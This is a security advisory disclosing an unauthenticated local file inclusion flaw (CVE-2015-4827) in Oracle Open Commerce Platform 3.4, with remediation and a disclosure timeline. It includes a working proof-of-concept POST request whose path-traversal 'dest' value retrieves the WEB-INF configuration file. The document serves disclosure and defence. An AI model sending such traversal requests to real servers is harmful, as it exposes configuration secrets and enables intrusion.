Trustwave SpiderLabs Security Advisory TWSL2015-020: Unauthenticated Local File Inclusion Vulnerability in Oracle Open Commerce Platform 3.4 Published: 10/20/2015 Version: 1.0 Vendor: Oracle (http://www.oracle.com) Product: Open Commerce Platform (http://www.micros-fidelio.eu/en/Solutions/Products-N-Z/OCP-Open-Commerce-Platform.aspx) Version affected: 3.4 Product description: "Open Commerce Platform™ (OCP) is the industry-leading direct commerce platform for business-to-consumer, business-to-business, mobile, order management, and call center commerce solutions." - MICROS-Fidelio Finding: Unauthenticated Local File Inclusion Credit: Leopold von Niebelschuetz-Godlewski of Trustwave SpiderLabs CVE: CVE-2015-4827 The "/user/add_item_to_comparison.cmd" page accept a parameter called "dest" which accepts a path to any file within the the web server's root directory. This page does not properly sanitize "../" or "..\" and therefore is susceptible to a LFI attack. An unauthenticated attacker could leverage this vulnerability in order to view files he/she should not be able to see such as files in the "WEB-INF" directory. Furthermore, please note that it may be possible for an attacker to inject malicious code into a file on the web server's file system, and, in combination with this LFI vulnerability could force the application to execute malicious code. This would allow the attacker to execute commands on the host operating system in the context of the web application's user account. The following Proof of Concept (PoC) requests the \WEB-INF\ocp-config.xml which contains sensitive configuration information which is happily fulfilled by the application. ## POC POST /user/add_item_to_comparison.cmd HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 Accept: text/html, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-Length: 90 formName=compareItemsForm&productId=292277&dest=%2Fcatalog%2F..%2FWEB-INF%2Focp-config.xml HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Thu, 10 Sep 2015 22:38:31 GMT Local-Server: xxx.xxx.xxx.xxx Set-Cookie: COMPARE_COOKIE=292277; Path=/ Set-Cookie: JSESSIONID=A7C067BC838727F650541B60848E40FA; Path=/; HttpOnly Accept-Ranges: bytes ETag: W/"184429-1439562202000" Last-Modified: Fri, 14 Aug 2015 14:23:22 GMT Content-Type: application/xml Content-Length: 184429 ... ... ... ********** ********** https://**********.paypal.com/nvp ********** **********.commerce.components.paypal.profiles.SignatureAPIProfile ********** https://**********.paypal.com/ /assets/images/header_nav/logo.gif ... ... ... ********** ********** ********** ********** USD https://**********.fiftyone.com/checkout/CheckoutServlet.srv ... ... ... Remediation Steps: Apply the Oracle October 2015 Critical Patch Update (CPU). Please note that Trustwave SpiderLabs have not verified this fix. Revision History: 09/11/2015 - Vulnerability disclosed to vendor 10/20/2015 - Patch released by vendor 10/20/2015 - Advisory published References 1. http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risks. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs while safely embracing business imperatives including big data, BYOD and social media. More than 2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective data protection, risk management and threat intelligence. Trustwave is a privately held company, headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.